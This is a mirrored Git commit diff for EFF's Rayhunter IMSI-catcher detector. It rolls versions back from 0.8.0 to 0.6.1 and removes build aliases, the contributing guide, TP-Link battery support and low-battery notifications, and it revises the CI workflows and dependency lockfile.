mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-31 02:03:35 -07:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| df55c04e85 |
@@ -1,11 +1,3 @@
|
||||
[alias]
|
||||
# Build the daemon with "firmware" profile and "ring" TLS backend.
|
||||
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
|
||||
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
|
||||
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
|
||||
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
|
||||
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
|
||||
|
||||
[target.aarch64-apple-darwin]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
@@ -2,12 +2,6 @@ name: Bug Report
|
||||
description: File a bug report.
|
||||
labels: ["bug"]
|
||||
body:
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Prerequisites
|
||||
options:
|
||||
- label: I have read [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md)
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Bug Report Details
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
blank_issues_enabled: true
|
||||
contact_links:
|
||||
- name: Questions and community
|
||||
url: https://efforg.github.io/rayhunter/support-feedback-community.html
|
||||
about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help on GitHub discussions or Mattermost
|
||||
- name: Rayhunter Mattermost
|
||||
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
|
||||
about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help here. There is a much larger community there of people familiar with the project who will be able to more quickly answer your questions.
|
||||
- name: Rayhunter Security Policy
|
||||
url: https://github.com/EFForg/rayhunter/security/advisories/new
|
||||
about: Please report security vulnerabilities here.
|
||||
|
||||
@@ -2,12 +2,6 @@ name: Feature Request
|
||||
description: Suggest a new feature or improvement to Rayhunter
|
||||
labels: ["enhancement"]
|
||||
body:
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Prerequisites
|
||||
options:
|
||||
- label: I have read [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md)
|
||||
required: true
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
|
||||
@@ -2,12 +2,6 @@ name: Installer Issue
|
||||
description: File an bug related to an installer issue.
|
||||
labels: ["bug", "installer"]
|
||||
body:
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Prerequisites
|
||||
options:
|
||||
- label: I have read [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md)
|
||||
required: true
|
||||
- type: input
|
||||
attributes:
|
||||
label: Rayhunter Version
|
||||
|
||||
@@ -4,4 +4,3 @@
|
||||
- [ ] Added or updated any documentation as needed to support the changes in this PR.
|
||||
- [ ] Code has been linted and run through `cargo fmt`
|
||||
- [ ] If any new functionality has been added, unit tests were also added
|
||||
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
|
||||
|
||||
@@ -105,8 +105,6 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Check formatting
|
||||
run: cargo fmt --all --check
|
||||
@@ -205,7 +203,7 @@ jobs:
|
||||
if-no-files-found: error
|
||||
|
||||
build_rootshell:
|
||||
if: needs.files_changed.outputs.rootshell_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
|
||||
if: needs.files_changed.outputs.rootshell_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
@@ -219,7 +217,7 @@ jobs:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Build rootshell (armv7)
|
||||
run: cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rootshell
|
||||
@@ -227,10 +225,7 @@ jobs:
|
||||
if-no-files-found: error
|
||||
|
||||
build_rayhunter:
|
||||
# build_rust_installer needs this step. so when installer_changed, we need
|
||||
# to build this step too. if we skip this step because only the installer
|
||||
# changed, the build_rust_installer step will be skipped too.
|
||||
if: needs.files_changed.outputs.daemon_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
|
||||
if: needs.files_changed.outputs.daemon_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
@@ -244,8 +239,6 @@ jobs:
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Install ARM cross-compilation toolchain
|
||||
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
||||
- name: Build rayhunter-daemon (armv7)
|
||||
run: |
|
||||
pushd daemon/web
|
||||
@@ -260,7 +253,7 @@ jobs:
|
||||
# what the feature selection in rayhunter-daemon is.
|
||||
#
|
||||
# https://github.com/rust-lang/cargo/issues/4463
|
||||
CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||
cargo build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-daemon
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
# How to contribute to Rayhunter
|
||||
|
||||
## Filing issues and starting discussions
|
||||
|
||||
Our issue tracker is [on GitHub](https://github.com/EFForg/rayhunter/issues).
|
||||
|
||||
- If your rayhunter has found an IMSI-catcher, we strongly encourage you to
|
||||
[send us that information
|
||||
privately.](https://efforg.github.io/rayhunter/faq.html#help-rayhunters-line-is-redorangeyellowdotteddashed-what-should-i-do) via Signal.
|
||||
|
||||
- Issues should be actionable. If you don't have a
|
||||
specific feature request or bug report, consider [creating a
|
||||
discussion](https://github.com/EFForg/rayhunter/discussions) or [joining our Mattermost](https://efforg.github.io/rayhunter/support-feedback-community.html) instead.
|
||||
|
||||
Example of a good bug report:
|
||||
|
||||
- "Installer broken on TP-Link M7350 v3.0"
|
||||
- "Display does not update to green after finding"
|
||||
- "The documentation is wrong" (though we encourage you to file a pull request directly)
|
||||
|
||||
Example of a good feature request:
|
||||
|
||||
- "Use LED on device XYZ for showing recording status"
|
||||
|
||||
Example of something that belongs into discussion:
|
||||
|
||||
- "In region XYZ, do I need an activated SIM?"
|
||||
- "Where to buy this device in region XYZ?"
|
||||
- "Can this device be supported?" While this is a valid feature
|
||||
request, we just get this request too often, and without some exploratory
|
||||
work done upfront it's often unclear initially if that device can be
|
||||
supported at all.
|
||||
|
||||
- The issue templates are mostly there to give you a clue what kind of
|
||||
information is needed from you, and whether your request belongs into the issue
|
||||
tracker. Fill them out to be on the safe side, but they are not mandatory.
|
||||
|
||||
## Contributing patches
|
||||
|
||||
To edit documentation or fix a bug, make a pull request. If you're about to
|
||||
write a substantial amount of code or implement a new feature, we strongly
|
||||
encourage you to talk to us before implementing it or check if any issues have
|
||||
been opened for it already. Otherwise there is a chance we will reject your
|
||||
contribution after you have spent time on it.
|
||||
|
||||
On the other hand, for small documentation fixes you can file a PR without
|
||||
filing an issue.
|
||||
|
||||
Otherwise:
|
||||
|
||||
- Refer to [installing from
|
||||
source](https://efforg.github.io/rayhunter/installing-from-source.html) for
|
||||
how to build Rayhunter from the git repository.
|
||||
|
||||
- Ensure that `cargo fmt` and `cargo clippy` have been run.
|
||||
|
||||
- If you add new features, please do your best to both write tests for and also
|
||||
manually test them. Our test coverage isn't great, but as new features are
|
||||
added we are trying to prevent it from becoming worse.
|
||||
|
||||
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
||||
|
||||
## Making releases
|
||||
|
||||
This one is for maintainers of Rayhunter.
|
||||
|
||||
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
||||
This could be automated better but right now it's manual. You can do this easily with sed:
|
||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
|
||||
|
||||
2. Merge PR and make a tag.
|
||||
|
||||
3. [Run release workflow.](https://github.com/EFForg/rayhunter/actions/workflows/release.yml)
|
||||
|
||||
4. Write changelog, edit it into the release, announce on mattermost.
|
||||
Generated
+11
-123
@@ -5,7 +5,7 @@ version = 4
|
||||
[[package]]
|
||||
name = "adb_client"
|
||||
version = "2.1.11"
|
||||
source = "git+https://github.com/EFForg/adb_client.git?rev=e511662394e4fa32865c154c40f81a3d846f700c#e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
source = "git+https://github.com/EFForg/adb_client.git?rev=208a302367727554d7530e937ca8aee20a74fa51#208a302367727554d7530e937ca8aee20a74fa51"
|
||||
dependencies = [
|
||||
"async-io",
|
||||
"base64",
|
||||
@@ -22,7 +22,6 @@ dependencies = [
|
||||
"nusb",
|
||||
"rand 0.9.1",
|
||||
"regex",
|
||||
"rsa",
|
||||
"rusb",
|
||||
"rustls-pki-types",
|
||||
"serde",
|
||||
@@ -962,9 +961,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ed25519-dalek"
|
||||
version = "2.2.0"
|
||||
version = "2.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"
|
||||
checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871"
|
||||
dependencies = [
|
||||
"curve25519-dalek",
|
||||
"ed25519",
|
||||
@@ -1267,10 +1266,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"js-sys",
|
||||
"libc",
|
||||
"wasi 0.11.0+wasi-snapshot-preview1",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1280,11 +1277,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"js-sys",
|
||||
"libc",
|
||||
"r-efi",
|
||||
"wasi 0.14.2+wasi-0.2.4",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1733,7 +1728,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "installer"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"adb_client",
|
||||
"aes",
|
||||
@@ -1968,12 +1963,6 @@ dependencies = [
|
||||
"imgref",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lru-slab"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"
|
||||
|
||||
[[package]]
|
||||
name = "mach2"
|
||||
version = "0.4.2"
|
||||
@@ -2585,61 +2574,6 @@ version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3"
|
||||
|
||||
[[package]]
|
||||
name = "quinn"
|
||||
version = "0.11.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "626214629cda6781b6dc1d316ba307189c85ba657213ce642d9c77670f8202c8"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"cfg_aliases",
|
||||
"pin-project-lite",
|
||||
"quinn-proto",
|
||||
"quinn-udp",
|
||||
"rustc-hash",
|
||||
"rustls",
|
||||
"socket2",
|
||||
"thiserror 2.0.12",
|
||||
"tokio",
|
||||
"tracing",
|
||||
"web-time",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quinn-proto"
|
||||
version = "0.11.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "49df843a9161c85bb8aae55f101bc0bac8bcafd637a620d9122fd7e0b2f7422e"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"getrandom 0.3.3",
|
||||
"lru-slab",
|
||||
"rand 0.9.1",
|
||||
"ring",
|
||||
"rustc-hash",
|
||||
"rustls",
|
||||
"rustls-pki-types",
|
||||
"slab",
|
||||
"thiserror 2.0.12",
|
||||
"tinyvec",
|
||||
"tracing",
|
||||
"web-time",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quinn-udp"
|
||||
version = "0.5.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fcebb1209ee276352ef14ff8732e24cc2b02bbac986cd74a4c81bcb2f9881970"
|
||||
dependencies = [
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
"once_cell",
|
||||
"socket2",
|
||||
"tracing",
|
||||
"windows-sys 0.59.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.40"
|
||||
@@ -2772,7 +2706,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"chrono",
|
||||
@@ -2790,12 +2724,11 @@ dependencies = [
|
||||
"telcom-parser",
|
||||
"thiserror 1.0.69",
|
||||
"tokio",
|
||||
"uds",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter-check"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"futures",
|
||||
@@ -2809,7 +2742,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"async-trait",
|
||||
@@ -2834,7 +2767,6 @@ dependencies = [
|
||||
"tokio-stream",
|
||||
"tokio-util",
|
||||
"toml",
|
||||
"uds",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -2905,7 +2837,6 @@ dependencies = [
|
||||
"log",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"quinn",
|
||||
"rustls",
|
||||
"rustls-pki-types",
|
||||
"serde",
|
||||
@@ -2956,7 +2887,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rootshell"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"nix",
|
||||
]
|
||||
@@ -2998,12 +2929,6 @@ version = "0.1.24"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
|
||||
|
||||
[[package]]
|
||||
name = "rustc-hash"
|
||||
version = "2.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
|
||||
|
||||
[[package]]
|
||||
name = "rustc_version"
|
||||
version = "0.4.1"
|
||||
@@ -3046,7 +2971,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7160e3e10bf4535308537f3c4e1641468cd0e485175d6163087c0393c7d46643"
|
||||
dependencies = [
|
||||
"once_cell",
|
||||
"ring",
|
||||
"rustls-pki-types",
|
||||
"rustls-webpki 0.103.3",
|
||||
"subtle",
|
||||
@@ -3059,7 +2983,6 @@ version = "1.12.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79"
|
||||
dependencies = [
|
||||
"web-time",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
@@ -3158,9 +3081,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "semver"
|
||||
version = "1.0.27"
|
||||
version = "1.0.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
|
||||
checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
@@ -3441,7 +3364,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
|
||||
|
||||
[[package]]
|
||||
name = "telcom-parser"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
dependencies = [
|
||||
"asn1-codecs",
|
||||
"asn1-compiler",
|
||||
@@ -3568,21 +3491,6 @@ dependencies = [
|
||||
"zerovec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tinyvec"
|
||||
version = "1.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bfa5fdc3bce6191a1dbc8c02d5c8bffcf557bafa17c124c5264a458f1b0613fa"
|
||||
dependencies = [
|
||||
"tinyvec_macros",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tinyvec_macros"
|
||||
version = "0.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
|
||||
|
||||
[[package]]
|
||||
name = "tokio"
|
||||
version = "1.45.0"
|
||||
@@ -3791,16 +3699,6 @@ version = "1.18.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
|
||||
|
||||
[[package]]
|
||||
name = "uds"
|
||||
version = "0.4.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "885c31f06fce836457fe3ef09a59f83fe8db95d270b11cd78f40a4666c4d1661"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"tokio",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.18"
|
||||
@@ -3990,16 +3888,6 @@ dependencies = [
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "web-time"
|
||||
version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"
|
||||
dependencies = [
|
||||
"js-sys",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "webpki-roots"
|
||||
version = "1.0.0"
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-check"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
+5
-5
@@ -16,19 +16,19 @@ use walkdir::WalkDir;
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(version, about)]
|
||||
struct Args {
|
||||
#[arg(short = 'p', long, help = "A file or directory of packet captures")]
|
||||
#[arg(short = 'p', long)]
|
||||
path: PathBuf,
|
||||
|
||||
#[arg(short = 'P', long, help = "Convert qmdl files to pcap before analysis")]
|
||||
#[arg(short = 'P', long)]
|
||||
pcapify: bool,
|
||||
|
||||
#[arg(long, help = "Show why some packets were skipped during analysis")]
|
||||
#[arg(long)]
|
||||
show_skipped: bool,
|
||||
|
||||
#[arg(short, long, help = "Only print warnings/errors to stdout")]
|
||||
#[arg(short, long)]
|
||||
quiet: bool,
|
||||
|
||||
#[arg(short, long, help = "Show debug messages")]
|
||||
#[arg(short, long)]
|
||||
debug: bool,
|
||||
}
|
||||
|
||||
|
||||
+5
-9
@@ -1,14 +1,9 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
rust-version = "1.88.0"
|
||||
|
||||
[features]
|
||||
default = ["rustcrypto-tls"]
|
||||
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
|
||||
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
|
||||
|
||||
[dependencies]
|
||||
rayhunter = { path = "../lib" }
|
||||
toml = "0.8.8"
|
||||
@@ -30,7 +25,8 @@ image = { version = "0.25.1", default-features = false, features = ["png", "gif
|
||||
tempfile = "3.10.1"
|
||||
async_zip = { version = "0.0.17", features = ["tokio"] }
|
||||
anyhow = "1.0.98"
|
||||
reqwest = { version = "0.12.20", default-features = false }
|
||||
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
|
||||
reqwest = { version = "0.12.20", default-features = false, features = [
|
||||
"rustls-tls-webpki-roots-no-provider",
|
||||
] }
|
||||
rustls-rustcrypto = "0.0.2-alpha"
|
||||
async-trait = "0.1.88"
|
||||
uds = { version = "0.4.2", features = ["tokio"] }
|
||||
|
||||
@@ -1,23 +1,14 @@
|
||||
use std::{path::Path, time::Duration};
|
||||
use std::path::Path;
|
||||
|
||||
use log::{error, info};
|
||||
use rayhunter::Device;
|
||||
use serde::Serialize;
|
||||
use tokio::select;
|
||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
||||
|
||||
use crate::{
|
||||
error::RayhunterError,
|
||||
notifications::{Notification, NotificationType},
|
||||
};
|
||||
use crate::error::RayhunterError;
|
||||
|
||||
pub mod orbic;
|
||||
pub mod tmobile;
|
||||
pub mod tplink;
|
||||
pub mod wingtech;
|
||||
|
||||
const LOW_BATTERY_LEVEL: u8 = 10;
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
|
||||
pub struct BatteryState {
|
||||
level: u8,
|
||||
@@ -51,63 +42,6 @@ pub async fn get_battery_status(device: &Device) -> Result<BatteryState, Rayhunt
|
||||
Device::Orbic => orbic::get_battery_state().await?,
|
||||
Device::Wingtech => wingtech::get_battery_state().await?,
|
||||
Device::Tmobile => tmobile::get_battery_state().await?,
|
||||
Device::Tplink => tplink::get_battery_state().await?,
|
||||
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn run_battery_notification_worker(
|
||||
task_tracker: &TaskTracker,
|
||||
device: Device,
|
||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||
shutdown_token: CancellationToken,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
// Don't send a notification initially if the device starts at a low battery level.
|
||||
let mut triggered = match get_battery_status(&device).await {
|
||||
Err(RayhunterError::FunctionNotSupportedForDeviceError) => {
|
||||
info!("Battery level function not supported for device");
|
||||
false
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Failed to get battery status: {e}");
|
||||
true
|
||||
}
|
||||
Ok(status) => status.level <= LOW_BATTERY_LEVEL,
|
||||
};
|
||||
|
||||
loop {
|
||||
select! {
|
||||
_ = shutdown_token.cancelled() => break,
|
||||
_ = tokio::time::sleep(Duration::from_secs(15)) => {}
|
||||
}
|
||||
|
||||
let status = match get_battery_status(&device).await {
|
||||
Err(e) => {
|
||||
error!("Failed to get battery status: {e}");
|
||||
continue;
|
||||
}
|
||||
Ok(status) => status,
|
||||
};
|
||||
|
||||
// To avoid flapping, if the notification has already been triggered
|
||||
// wait until the device has been plugged in and the battery level
|
||||
// is high enough to re-enable notifications.
|
||||
if triggered && status.is_plugged_in && status.level > LOW_BATTERY_LEVEL {
|
||||
triggered = false;
|
||||
continue;
|
||||
}
|
||||
if !triggered && !status.is_plugged_in && status.level <= LOW_BATTERY_LEVEL {
|
||||
notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::LowBattery,
|
||||
"Rayhunter's battery is low".to_string(),
|
||||
None,
|
||||
))
|
||||
.await
|
||||
.expect("Failed to send to notification channel");
|
||||
triggered = true;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
use crate::{battery::BatteryState, error::RayhunterError};
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
let uci_battery = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.power_level")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
let uci_plugged_in = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.is_charging")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
if !uci_battery.status.success() {
|
||||
return Err(RayhunterError::BatteryLevelParseError);
|
||||
}
|
||||
|
||||
if !uci_plugged_in.status.success() {
|
||||
return Err(RayhunterError::BatteryPluggedInStatusParseError);
|
||||
}
|
||||
|
||||
let uci_battery = String::from_utf8_lossy(&uci_battery.stdout)
|
||||
.trim_end()
|
||||
.parse()
|
||||
.map_err(|_| RayhunterError::BatteryLevelParseError)?;
|
||||
|
||||
let uci_plugged_in = match String::from_utf8_lossy(&uci_plugged_in.stdout).trim_end() {
|
||||
"0" => Ok(false),
|
||||
"1" => Ok(true),
|
||||
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
|
||||
}?;
|
||||
|
||||
Ok(BatteryState {
|
||||
level: uci_battery,
|
||||
is_plugged_in: uci_plugged_in,
|
||||
})
|
||||
}
|
||||
@@ -5,7 +5,6 @@ use rayhunter::Device;
|
||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||
|
||||
use crate::error::RayhunterError;
|
||||
use crate::notifications::NotificationType;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
#[serde(default)]
|
||||
@@ -18,7 +17,6 @@ pub struct Config {
|
||||
pub colorblind_mode: bool,
|
||||
pub key_input_mode: u8,
|
||||
pub ntfy_url: Option<String>,
|
||||
pub enabled_notifications: Vec<NotificationType>,
|
||||
pub analyzers: AnalyzerConfig,
|
||||
}
|
||||
|
||||
@@ -34,7 +32,6 @@ impl Default for Config {
|
||||
key_input_mode: 0,
|
||||
analyzers: AnalyzerConfig::default(),
|
||||
ntfy_url: None,
|
||||
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -24,7 +24,7 @@ use rayhunter::qmdl::QmdlWriter;
|
||||
|
||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
|
||||
use crate::display;
|
||||
use crate::notifications::{Notification, NotificationType};
|
||||
use crate::notifications::Notification;
|
||||
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
|
||||
use crate::server::ServerState;
|
||||
|
||||
@@ -207,7 +207,7 @@ impl DiagTask {
|
||||
info!("a heuristic triggered on this run!");
|
||||
self.notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::Warning,
|
||||
"heuristic-warning".to_string(),
|
||||
format!("Rayhunter has detected a {:?} severity event", max_type),
|
||||
Some(Duration::from_secs(60 * 5)),
|
||||
))
|
||||
|
||||
@@ -9,7 +9,9 @@ use rayhunter::analysis::analyzer::EventType;
|
||||
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
||||
use tokio::sync::oneshot;
|
||||
use tokio::sync::oneshot::error::TryRecvError;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use include_dir::{Dir, include_dir};
|
||||
|
||||
@@ -171,7 +173,7 @@ pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
mut fb: impl GenericFramebuffer,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
mut ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
|
||||
@@ -202,9 +204,13 @@ pub fn update_ui(
|
||||
);
|
||||
}
|
||||
loop {
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(state) => {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use log::info;
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -9,7 +9,7 @@ use crate::display::DisplayState;
|
||||
pub fn update_ui(
|
||||
_task_tracker: &TaskTracker,
|
||||
_config: &config::Config,
|
||||
_shutdown_token: CancellationToken,
|
||||
_ui_shutdown_rx: oneshot::Receiver<()>,
